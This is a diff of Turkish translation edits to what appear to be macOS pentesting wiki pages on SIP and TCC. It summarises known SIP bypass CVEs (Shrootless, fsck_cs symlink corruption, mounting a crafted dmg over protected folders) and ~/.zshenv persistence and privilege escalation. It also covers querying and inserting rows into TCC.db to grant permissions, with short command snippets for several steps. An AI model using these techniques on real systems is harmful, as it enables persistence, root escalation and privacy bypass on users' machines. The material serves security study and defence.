### Mevcut Olmayan SIP Dosyası ### Mevcut Olmayan SIP Dosyası
Bir potansiyel açık, **`rootless.conf` içinde belirtilen ancak şu anda mevcut olmayan** bir dosyanın oluşturulabilmesidir. Kötü amaçlı yazılım, bu durumu kullanarak sistemde **kalıcılık sağlama** fırsatını değerlendirebilir. Örneğin, kötü niyetli bir program, `rootless.conf` içinde listelenmiş ancak mevcut olmayan bir .plist dosyasını `/System/Library/LaunchDaemons`inde oluşturabilir. Bir potansiyel açık, **`rootless.conf`** dosyasında belirtilen ancak şu anda mevcut olmayan bir dosyanın oluşturulabilmesidir. Kötü amaçlı yazılım, bu durumu kullanarak sistemde **kalıcılık sağlama** fırsatını değerlendirebilir. Örneğin, kötü niyetli bir program, `rootless.conf` dosyasında listelenmiş ancak mevcut olmayan bir .plist dosyasını `/System/Library/LaunchDaemons` dizininde oluşturabilir.
### com.apple.rootless.install.heritable ### com.apple.rootless.install.heritable
@ -112,29 +112,29 @@ Bir potansiyel açık, **`rootless.conf` içinde belirtilen ancak şu anda mevcu
#### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html) <a href="#cve" id="cve"></a> #### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html) <a href="#cve" id="cve"></a>
Sistem, kod imzasını doğruladıktan sonra **yükleyici paketini değiştirme** işleminin mümkün olduğu keşfedildi ve ardından sistem, orijinal yerine kötü amaçlı paketi yükleyecekti. Bu işlemler **`system_installd`** tarafından gerçekleştirildiği için, SIP'yi aşmayı sağlıyordu. Sistem, kod imzasını doğruladıktan sonra **yükleyici paketini değiştirme** işleminin mümkün olduğu keşfedildi ve ardından sistem, orijinal yerine kötü amaçlı paketi yükleyecekti. Bu işlemler **`system_installd`** tarafından gerçekleştirildiği için, SIP'yi aşmayı sağladı.
#### [CVE-20209854](https://objective-see.org/blog/blog_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a> #### [CVE-20209854](https://objective-see.org/blog/blog_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
Bir paket, bir montajlı görüntüden veya harici bir sürücüden yüklendiğinde, **yükleyici** **o dosya sisteminden** ikili dosyayı **çalıştırır** (SIP korumalı bir konumdan değil), bu da **`system_installd`**'nin keyfi bir ikili dosyayı çalıştırmasına neden olur. Bir paket, bir monte edilmiş görüntüden veya harici bir sürücüden yüklendiğinde, **yükleyici** **o dosya sisteminden** ikili dosyayı **çalıştırır** (SIP korumalı bir konumdan değil), bu da **`system_installd`**'nin rastgele bir ikili dosyayı çalıştırmasına neden olur.
#### CVE-2021-30892 - Shrootless #### CVE-2021-30892 - Shrootless
[**Bu blog yazısından araştırmacılar**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) macOS'un Sistem Bütünlüğü Koruma (SIP) mekanizmasında, 'Shrootless' olarak adlandırılan bir güvenlik açığı keşfettiler. Bu güvenlik açığı, **`system_installd`** daemon'u etrafında döner ve bu daemon'un, herhangi bir çocuk sürecinin SIP'nin dosya sistemi kısıtlamalarını aşmasına izin veren bir yetkisi vardır, **`com.apple.rootless.install.heritable`**. [**Bu blog yazısından araştırmacılar**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) macOS'un Sistem Bütünlüğü Koruma (SIP) mekanizmasında, 'Shrootless' olarak adlandırılan bir güvenlik açığı keşfettiler. Bu güvenlik açığı, **`system_installd`** daemon'u etrafında döner ve bu daemon'un, SIP'nin dosya sistemi kısıtlamalarını aşmasına izin veren bir yetkisi vardır, **`com.apple.rootless.install.heritable`**.
**`system_installd`** daemon'u, **Apple** tarafından imzalanmış paketleri yükleyecektir. **`system_installd`** daemon'u, **Apple** tarafından imzalanmış paketleri yükleyecektir.
Araştırmacılar, Apple tarafından imzalanmış bir paket (.pkg dosyası) yüklenirken, **`system_installd`** paketteki herhangi bir **kurulum sonrası** betiği **çalıştırdığını** buldular. Bu betikler, varsayılan kabuk olan **`zsh`** tarafından çalıştırılır ve eğer mevcutsa, otomatik olarak **`/etc/zshenv`** dosyasındaki komutları çalıştırır, hatta etkileşimli modda bile. Bu davranış, saldırganlar tarafından istismar edilebilir: kötü niyetli bir `/etc/zshenv` dosyası oluşturarak ve **`system_installd`'nin `zsh`'yi çağırmasını** bekleyerek, cihazda keyfi işlemler gerçekleştirebilirler. Araştırmacılar, Apple imzalı bir paket (.pkg dosyası) yüklenirken, **`system_installd`** paket içindeki herhangi bir **kurulum sonrası** betiği **çalıştırdığını** buldular. Bu betikler, varsayılan kabuk olan **`zsh`** tarafından çalıştırılır ve eğer mevcutsa, **`/etc/zshenv`** dosyasından komutları otomatik olarak **çalıştırır**, hatta etkileşimli modda bile. Bu davranış, saldırganlar tarafından kötüye kullanılabilir: kötü niyetli bir `/etc/zshenv` dosyası oluşturarak ve **`system_installd`'nin `zsh`'yi çağırmasını** bekleyerek, cihazda rastgele işlemler gerçekleştirebilirler.
Ayrıca, **`/etc/zshenv`'nin genel bir saldırı tekniği olarak kullanılabileceği** keşfedildi, sadece SIP aşması için değil. Her kullanıcı profili, `/etc/zshenv` ile aynı şekilde davranan bir `~/.zshenv` dosyasına sahiptir, ancak root izinleri gerektirmez. Bu dosya, `zsh` her başladığında tetiklenecek şekilde bir kalıcılık mekanizması olarak veya ayrıcalık yükseltme mekanizması olarak kullanılabilir. Eğer bir yönetici kullanıcı, `sudo -s` veya `sudo <komut>` kullanarak root'a yükselirse, `~/.zshenv` dosyası tetiklenecek ve etkili bir şekilde root'a yükselecektir. Ayrıca, **`/etc/zshenv`** dosyasının yalnızca SIP aşması için değil, genel bir saldırı tekniği olarak da kullanılabileceği keşfedildi. Her kullanıcı profili, `/etc/zshenv` ile aynı şekilde davranan bir `~/.zshenv` dosyasına sahiptir, ancak kök izinleri gerektirmez. Bu dosya, `zsh` her başladığında tetiklenecek şekilde bir kalıcılık mekanizması olarak veya ayrıcalık yükseltme mekanizması olarak kullanılabilir. Bir yönetici kullanıcı, `sudo -s` veya `sudo <komut>` kullanarak kök yetkilerine yükselirse, `~/.zshenv` dosyası tetiklenecek ve etkili bir şekilde kök yetkilerine yükselecektir.
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) içinde, aynı **`system_installd`** sürecinin hala kötüye kullanılabileceği keşfedildi çünkü **kurulum sonrası betiği SIP tarafından korunan rastgele adlandırılmış bir klasörün içine koyuyordu** `/tmp` içinde. Sorun şu ki, **`/tmp` kendisi SIP tarafından korunmuyor**, bu nedenle **sanal bir görüntü monte etmek** mümkündü, ardından **yükleyici** oraya **kurulum sonrası betiği** koyacak, **sanal görüntüyü** kaldıracak, tüm **klasörleri** yeniden oluşturacak ve **yükleme sonrası** betiği **yürütülecek yükle** ekleyecekti. [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) dosyası, aynı **`system_installd`** sürecinin hala kötüye kullanılabileceği keşfedildi çünkü **kurulum sonrası betiği SIP tarafından korunan rastgele adlandırılmış bir klasörün içine koyuyordu** ve **`/tmp`** dizini SIP tarafından korunmamaktadır, bu nedenle **`/tmp`** üzerinde bir **sanallaştırılmış görüntü monte etmek** mümkündü, ardından **yükleyici** oraya **kurulum sonrası betiği** koyacak, **sanallaştırılmış görüntüyü** kaldıracak, tüm **klasörleri** yeniden oluşturacak ve **yüklemek için** **yükleme sonrası** betiği ile **yük yükleyecekti**.
#### [fsck_cs aracı](https://www.theregister.com/2016/03/30/apple_os_x_rootless/) #### [fsck_cs aracı](https://www.theregister.com/2016/03/30/apple_os_x_rootless/)
**`fsck_cs`**'nin, **sembolik bağlantıları** takip etme yeteneği nedeniyle kritik bir dosyayı bozduğu bir güvenlik açığı tespit edildi. Özellikle, saldırganlar _`/dev/diskX`_'den `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` dosyasına bir bağlantı oluşturdu. _`/dev/diskX`_ üzerinde **`fsck_cs`** çalıştırmak, `Info.plist` dosyasının bozulmasına yol açtı. Bu dosyanın bütünlüğü, çekirdek uzantılarının yüklenmesini kontrol eden işletim sisteminin SIP'si (Sistem Bütünlüğü Koruma) için hayati öneme sahiptir. Bozulduğunda, SIP'nin çekirdek hariç tutmalarını yönetme yeteneği tehlikeye girer. **`fsck_cs`** aracının, **sembolik bağlantıları** takip etme yeteneği nedeniyle kritik bir dosyayı bozduğu bir güvenlik açığı tespit edildi. Özellikle, saldırganlar _`/dev/diskX`_ dosyasından `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` dosyasına bir bağlantı oluşturdu. _`/dev/diskX`_ üzerinde **`fsck_cs`** çalıştırmak, `Info.plist` dosyasının bozulmasına yol açtı. Bu dosyanın bütünlüğü, çekirdek uzantılarının yüklenmesini kontrol eden işletim sisteminin SIP (Sistem Bütünlüğü Koruma) için hayati öneme sahiptir. Bozulduğunda, SIP'nin çekirdek hariç tutmalarını yönetme yeteneği tehlikeye girer.
Bu güvenlik açığını istismar etmek için gereken komutlar: Bu güvenlik açığını istismar etmek için gereken komutlar:
```bash ```bash
@ -143,7 +143,7 @@ fsck_cs /dev/diskX 1>&-
touch /Library/Extensions/ touch /Library/Extensions/
reboot reboot
``` ```
Bu güvenlik açığının istismarı ciddi sonuçlar doğurmaktadır. `Info.plist` dosyası, genellikle çekirdek uzantıları için izinleri yönetmekten sorumlu olan dosya, etkisiz hale gelir. Bu, `AppleHWAccess.kext` gibi belirli uzantıları kara listeye alma yeteneğinin kaybolmasını içerir. Sonuç olarak, SIP'nin kontrol mekanizması bozulduğunda, bu uzantı yüklenebilir ve sistemin RAM'ine yetkisiz okuma ve yazma erişimi sağlar. Bu güvenlik açığının istismarı ciddi sonuçlar doğurmaktadır. `Info.plist` dosyası, normalde çekirdek uzantıları için izinleri yönetmekle sorumlu olan dosya, etkisiz hale gelir. Bu, `AppleHWAccess.kext` gibi belirli uzantıları kara listeye alma yeteneğini içerir. Sonuç olarak, SIP'nin kontrol mekanizması bozulduğunda, bu uzantı yüklenebilir ve sistemin RAM'ine yetkisiz okuma ve yazma erişimi sağlar.
#### [SIP korumalı klasörlerin üzerine bağlanma](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship) #### [SIP korumalı klasörlerin üzerine bağlanma](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)
@ -154,13 +154,13 @@ mkdir evil
hdiutil create -srcfolder evil evil.dmg hdiutil create -srcfolder evil evil.dmg
hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
``` ```
#### [Yükseltici atlatma (2016)](https://objective-see.org/blog/blog_0x14.html) #### [Upgrader bypass (2016)](https://objective-see.org/blog/blog_0x14.html)
Sistem, OS'u yükseltmek için `Install macOS Sierra.app` içindeki gömülü bir yükleyici disk görüntüsünden önyükleme yapacak şekilde ayarlanmıştır ve `bless` aracını kullanmaktadır. Kullanılan komut aşağıdaki gibidir: Sistem, OS'u yükseltmek için `Install macOS Sierra.app` içindeki gömülü bir yükleyici disk görüntüsünden önyükleme yapacak şekilde ayarlanmıştır ve `bless` aracını kullanmaktadır. Kullanılan komut aşağıdaki gibidir:
```bash ```bash
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
``` ```
Bu sürecin güvenliği, bir saldırganın yükseltme görüntüsünü (`InstallESD.dmg`) önyüklemeden önce değiştirmesi durumunda tehlikeye girebilir. Strateji, dinamik bir yükleyiciyi (dyld) kötü niyetli bir sürümle (`libBaseIA.dylib`) değiştirmeyi içerir. Bu değişim, yükleyici başlatıldığında saldırganın kodunun çalıştırılmasına neden olur. Bu sürecin güvenliği, bir saldırganın yükseltme görüntüsünü (`InstallESD.dmg`) başlatmadan önce değiştirmesi durumunda tehlikeye girebilir. Strateji, dinamik bir yükleyiciyi (dyld) kötü niyetli bir sürümle (`libBaseIA.dylib`) değiştirmeyi içerir. Bu değişim, yükleyici başlatıldığında saldırganın kodunun çalıştırılmasına neden olur.
Saldırganın kodu, yükseltme süreci sırasında kontrolü ele geçirir ve sistemin yükleyiciye olan güvenini istismar eder. Saldırı, `InstallESD.dmg` görüntüsünü yöntem değiştirme (method swizzling) ile değiştirerek, özellikle `extractBootBits` yöntemini hedef alarak devam eder. Bu, disk görüntüsü kullanılmadan önce kötü niyetli kodun enjekte edilmesine olanak tanır. Saldırganın kodu, yükseltme süreci sırasında kontrolü ele geçirir ve sistemin yükleyiciye olan güvenini istismar eder. Saldırı, `InstallESD.dmg` görüntüsünü yöntem değiştirme (method swizzling) ile değiştirerek, özellikle `extractBootBits` yöntemini hedef alarak devam eder. Bu, disk görüntüsü kullanılmadan önce kötü niyetli kodun enjekte edilmesine olanak tanır.
@ -168,11 +168,11 @@ Ayrıca, `InstallESD.dmg` içinde, yükseltme kodunun kök dosya sistemi olarak
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk) #### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
[**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) konuşmasında, **`systemmigrationd`** (SIP'yi atlayabilen) bir **bash** ve bir **perl** betiği çalıştırdığı ve bunun **`BASH_ENV`** ve **`PERL5OPT`** ortam değişkenleri aracılığıyla kötüye kullanılabileceği gösterilmektedir. [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) konuşmasında, **`systemmigrationd`** (SIP'yi atlayabilen) bir **bash** ve bir **perl** betiği çalıştırdığı gösterilmektedir; bu betikler **`BASH_ENV`** ve **`PERL5OPT`** ortam değişkenleri aracılığıyla kötüye kullanılabilir.
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a> #### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
[**bu blog yazısında detaylı olarak açıklandığı gibi**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), `InstallAssistant.pkg` paketlerinden bir `postinstall` betiği çalıştırılmaktaydı: [**bu blog yazısında detaylı olarak açıklandığı gibi**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), `InstallAssistant.pkg` paketlerinden bir `postinstall` betiği çalıştırılabiliyordu:
```bash ```bash
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg" /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
``` ```
@ -201,7 +201,7 @@ Bu anlık görüntülerin macOS tarafından otomatik olarak yönetildiğini ve A
### Anlık Görüntüleri Kontrol Et ### Anlık Görüntüleri Kontrol Et
**`diskutil apfs list`** komutu, **APFS hacimlerinin** ayrıntılarını ve düzenini listeler: **`diskutil apfs list`** komutu, **APFS hacimlerinin** ve düzenlerinin **detaylarını** listeler:
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13 <pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
| ==================================================== | ====================================================
@ -249,7 +249,7 @@ Ayrıca, mühürlemenin etkin olduğunu **doğrulamak** için şu komutu çalı
csrutil authenticated-root status csrutil authenticated-root status
Authenticated Root status: enabled Authenticated Root status: enabled
``` ```
Ayrıca, anlık görüntü diski de **salt okunur** olarak bağlanmıştır: Ayrıca, anlık görüntü diski de **salt okunur** olarak monte edilmiştir:
```bash ```bash
mount mount
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) /dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)

View File

@ -20,32 +20,32 @@ ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
``` ```
İzinler **ebeveyn** uygulamadan **devralınır** ve **izinler** **Bundle ID** ve **Geliştirici ID** temelinde **izlenir**. İzinler **ebeveyn** uygulamadan **devralınır** ve **izinler**, **Bundle ID** ve **Geliştirici ID** temelinde **izlenir**.
### TCC Veritabanları ### TCC Veritabanları
İzinler/retler daha sonra bazı TCC veritabanlarında saklanır: İzinler/retler daha sonra bazı TCC veritabanlarında saklanır:
- **`/Library/Application Support/com.apple.TCC/TCC.db`** içindeki sistem genelindeki veritabanı. - **`/Library/Application Support/com.apple.TCC/TCC.db`** içindeki sistem genelindeki veritabanı.
- Bu veritabanı **SIP korumalıdır**, bu nedenle yalnızca bir SIP bypass bunun içine yazabilir. - Bu veritabanı **SIP korumalıdır**, bu nedenle yalnızca bir SIP bypass'ı içine yazabilir.
- Kullanıcı TCC veritabanı **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** her kullanıcı için tercihleri saklar. - Kullanıcı TCC veritabanı **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** her kullanıcı için tercihleri saklar.
- Bu veritabanı korumalıdır, bu nedenle yalnızca Full Disk Access gibi yüksek TCC ayrıcalıklarına sahip süreçler buna yazabilir (ancak SIP tarafından korunmaz). - Bu veritabanı korumalıdır, bu nedenle yalnızca Full Disk Access gibi yüksek TCC ayrıcalıklarına sahip süreçler içine yazabilir (ancak SIP tarafından korunmaz).
> [!WARNING] > [!WARNING]
> Önceki veritabanları da **okuma erişimi için TCC korumalıdır**. Bu nedenle, **TCC ayrıcalıklı bir süreçten** gelmediği sürece normal kullanıcı TCC veritabanınızı **okuyamazsınız**. > Önceki veritabanları da **okuma erişimi için TCC korumalıdır**. Bu nedenle, **TCC ayrıcalıklı bir süreçten** gelmediği sürece normal kullanıcı TCC veritabanınızı **okuyamazsınız**.
> >
> Ancak, bu yüksek ayrıcalıklara sahip bir süreç (örneğin **FDA** veya **`kTCCServiceEndpointSecurityClient`**) kullanıcıların TCC veritabanına yazabilecektir. > Ancak, bu yüksek ayrıcalıklara sahip bir süreç (örneğin **FDA** veya **`kTCCServiceEndpointSecurityClient`**) kullanıcıların TCC veritabanına yazabilecektir.
- **`/var/db/locationd/clients.plist`** içindeki **üçüncü** TCC veritabanı, **konum hizmetlerine** erişim izni verilen istemcileri belirtir. - **Konum hizmetlerine** erişim izni verilen istemcileri belirtmek için **`/var/db/locationd/clients.plist`** içinde **üçüncü** bir TCC veritabanı vardır.
- SIP korumalı dosya **`/Users/carlospolop/Downloads/REG.db`** (TCC ile okuma erişiminden de korunmuştur), tüm **geçerli TCC veritabanlarının** **konumunu** içerir. - SIP korumalı dosya **`/Users/carlospolop/Downloads/REG.db`** (TCC ile okuma erişiminden de korunmuştur), tüm **geçerli TCC veritabanlarının** **konumunu** içerir.
- SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC ile okuma erişiminden de korunmuştur), daha fazla TCC verilen izinleri içerir. - SIP korumalı dosya **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (TCC ile okuma erişiminden de korunmuştur), daha fazla TCC verilen izinleri içerir.
- SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesi. - SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesi.
> [!TIP] > [!TIP]
> TCC veritabanı **iOS**'ta **`/private/var/mobile/Library/TCC/TCC.db`** içindedir. > **iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir.
> [!NOTE] > [!NOTE]
> **Bildirim merkezi UI** **sistem TCC veritabanında** **değişiklikler** yapabilir: > **Bildirim merkezi UI** sistem TCC veritabanında **değişiklikler** yapabilir:
> >
> ```bash > ```bash
> codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd > codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
@ -54,7 +54,7 @@ ps -ef | grep tcc
> com.apple.rootless.storage.TCC > com.apple.rootless.storage.TCC
> ``` > ```
> >
> Ancak, kullanıcılar **`tccutil`** komut satırı aracı ile **kuralları silebilir veya sorgulayabilir**. > Ancak, kullanıcılar **`tccutil`** komut satırı aracıyla **kuralları silebilir veya sorgulayabilir**.
#### Veritabanlarını Sorgulama #### Veritabanlarını Sorgulama
@ -105,7 +105,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
> Her iki veritabanını kontrol ederek bir uygulamanın izin verdiği, yasakladığı veya sahip olmadığı izinleri kontrol edebilirsiniz (bunu isteyecektir). > Her iki veritabanını kontrol ederek bir uygulamanın izin verdiği, yasakladığı veya sahip olmadığı izinleri kontrol edebilirsiniz (bunu isteyecektir).
- **`service`** TCC **izin** dizesinin temsilidir - **`service`** TCC **izin** dizesinin temsilidir
- **`client`** izinlerle birlikte **bundle ID** veya **ikili dosya yolu**'dur - **`client`** izinlerle birlikte **bundle ID** veya **ikili dosya yolu**dur
- **`client_type`** bunun bir Bundle Identifier(0) mı yoksa mutlak yol(1) mu olduğunu gösterir - **`client_type`** bunun bir Bundle Identifier(0) mı yoksa mutlak yol(1) mu olduğunu gösterir
<details> <details>
@ -153,7 +153,7 @@ Sadece **`launctl load you_bin.plist`** yapın, bir plist ile:
- **`auth_value`** farklı değerler alabilir: denied(0), unknown(1), allowed(2) veya limited(3). - **`auth_value`** farklı değerler alabilir: denied(0), unknown(1), allowed(2) veya limited(3).
- **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) - **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
- **csreq** alanı, çalıştırılacak ikili dosyanın nasıl doğrulanacağını ve TCC izinlerinin nasıl verileceğini belirtmek için vardır: - **csreq** alanı, yürütülecek ikili dosyanın nasıl doğrulanacağını ve TCC izinlerinin nasıl verileceğini belirtmek için vardır:
```bash ```bash
# Query to get cserq in printable hex # Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2; select service, client, hex(csreq) from access where auth_value=2;
@ -169,12 +169,12 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n') REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'" echo "X'$REQ_HEX'"
``` ```
- Daha fazla bilgi için **tablonun diğer alanları** hakkında [**bu blog yazısını kontrol edin**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). - Daha fazla bilgi için **diğer alanlar** hakkında [**bu blog yazısını kontrol edin**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
Ayrıca `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` kısmında uygulamalara **verilmiş izinleri** kontrol edebilirsiniz. Ayrıca `System Preferences --> Security & Privacy --> Privacy --> Files and Folders` bölümünde uygulamalara **verilmiş izinleri** kontrol edebilirsiniz.
> [!TIP] > [!TIP]
> Kullanıcılar _şu_ **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**. > Kullanıcılar _şu_ **kuralları silebilir veya sorgulayabilir** **`tccutil`** kullanarak.
#### TCC izinlerini sıfırlama #### TCC izinlerini sıfırlama
```bash ```bash
@ -226,7 +226,7 @@ Bu, Takvim'in kullanıcıdan hatırlatıcılar, takvim ve adres defterine erişi
Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hepsini tanımlayan kamuya açık bir liste yoktur ama bu [**bilinenlerin listesine**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) göz atabilirsiniz. Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hepsini tanımlayan kamuya açık bir liste yoktur ama bu [**bilinenlerin listesine**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) göz atabilirsiniz.
### Hassas korunmasız yerler ### Hassas korumasız yerler
- $HOME (kendisi) - $HOME (kendisi)
- $HOME/.ssh, $HOME/.aws, vb. - $HOME/.ssh, $HOME/.aws, vb.
@ -234,7 +234,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC
### Kullanıcı Niyeti / com.apple.macl ### Kullanıcı Niyeti / com.apple.macl
Daha önce belirtildiği gibi, bir dosyaya bir uygulamanın erişimini **sürükleyip bırakarak vermek mümkündür**. Bu erişim herhangi bir TCC veritabanında belirtilmeyecek, ancak dosyanın **genişletilmiş** **özelliği** olarak kaydedilecektir. Bu özellik, izin verilen uygulamanın **UUID'sini** **saklayacaktır**: Daha önce belirtildiği gibi, bir dosyaya bir uygulamanın erişim izni **sürükleyip bırakarak** verilebilir. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek, ancak dosyanın **genişletilmiş** **özelliği** olarak saklanacaktır. Bu özellik, izin verilen uygulamanın **UUID'sini** **saklayacaktır**:
```bash ```bash
xattr Desktop/private.txt xattr Desktop/private.txt
com.apple.macl com.apple.macl
@ -250,13 +250,13 @@ otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| gr
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
``` ```
> [!NOTE] > [!NOTE]
> İlginçtir ki **`com.apple.macl`** özelliği **Sandbox** tarafından yönetilmektedir, tccd tarafından değil. > İlginçtir ki **`com.apple.macl`** niteliği **Sandbox** tarafından yönetilmektedir, tccd tarafından değil.
> >
> Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sini içeren bir dosyayı farklı bir bilgisayara taşırseniz, aynı uygulamanın farklı UID'leri olacağı için, o uygulamaya erişim izni verilmeyecektir. > Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sini içeren bir dosyayı farklı bir bilgisayara taşırseniz, aynı uygulamanın farklı UID'leri olacağı için, o uygulamaya erişim izni verilmeyecektir.
Genişletilmiş özellik `com.apple.macl` **diğer genişletilmiş özellikler gibi silinemez** çünkü **SIP tarafından korunmaktadır**. Ancak, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **zipleyerek**, **silerek** ve **zipten çıkararak** devre dışı bırakmak mümkündür. Genişletilmiş nitelik `com.apple.macl` **diğer genişletilmiş nitelikler gibi silinemez** çünkü **SIP tarafından korunmaktadır**. Ancak, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **zipleyerek**, **silerek** ve **zipten çıkararak** devre dışı bırakmak mümkündür.
## TCC Privesc & Bypass'ler ## TCC Privesc & Bypasslar
### TCC'ye Ekle ### TCC'ye Ekle
@ -308,15 +308,15 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
### TCC Yükleri ### TCC Yükleri
Eğer bazı TCC izinleri ile bir uygulamaya girmeyi başardıysanız, bunları kötüye kullanmak için TCC yükleri ile ilgili aşağıdaki sayfayı kontrol edin: Eğer bazı TCC izinleri ile bir uygulamanın içine girmeyi başardıysanız, bunları kötüye kullanmak için TCC yükleri ile ilgili aşağıdaki sayfayı kontrol edin:
{{#ref}} {{#ref}}
macos-tcc-payloads.md macos-tcc-payloads.md
{{#endref}} {{#endref}}
### Apple Etkinlikleri ### Apple Olayları
Apple Etkinlikleri hakkında bilgi edinin: Apple Olayları hakkında bilgi edinin:
{{#ref}} {{#ref}}
macos-apple-events.md macos-apple-events.md
@ -325,7 +325,7 @@ macos-apple-events.md
### Otomasyon (Finder) için FDA\* ### Otomasyon (Finder) için FDA\*
Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\ Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\
Bu özel TCC izni, TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler sadece her şeyi yönetmeye izin vermez). Bu özel TCC izni, TCC veritabanı içinde **yönetilebilecek uygulamayı** da belirtir (yani izinler her şeyi yönetmeye izin vermez).
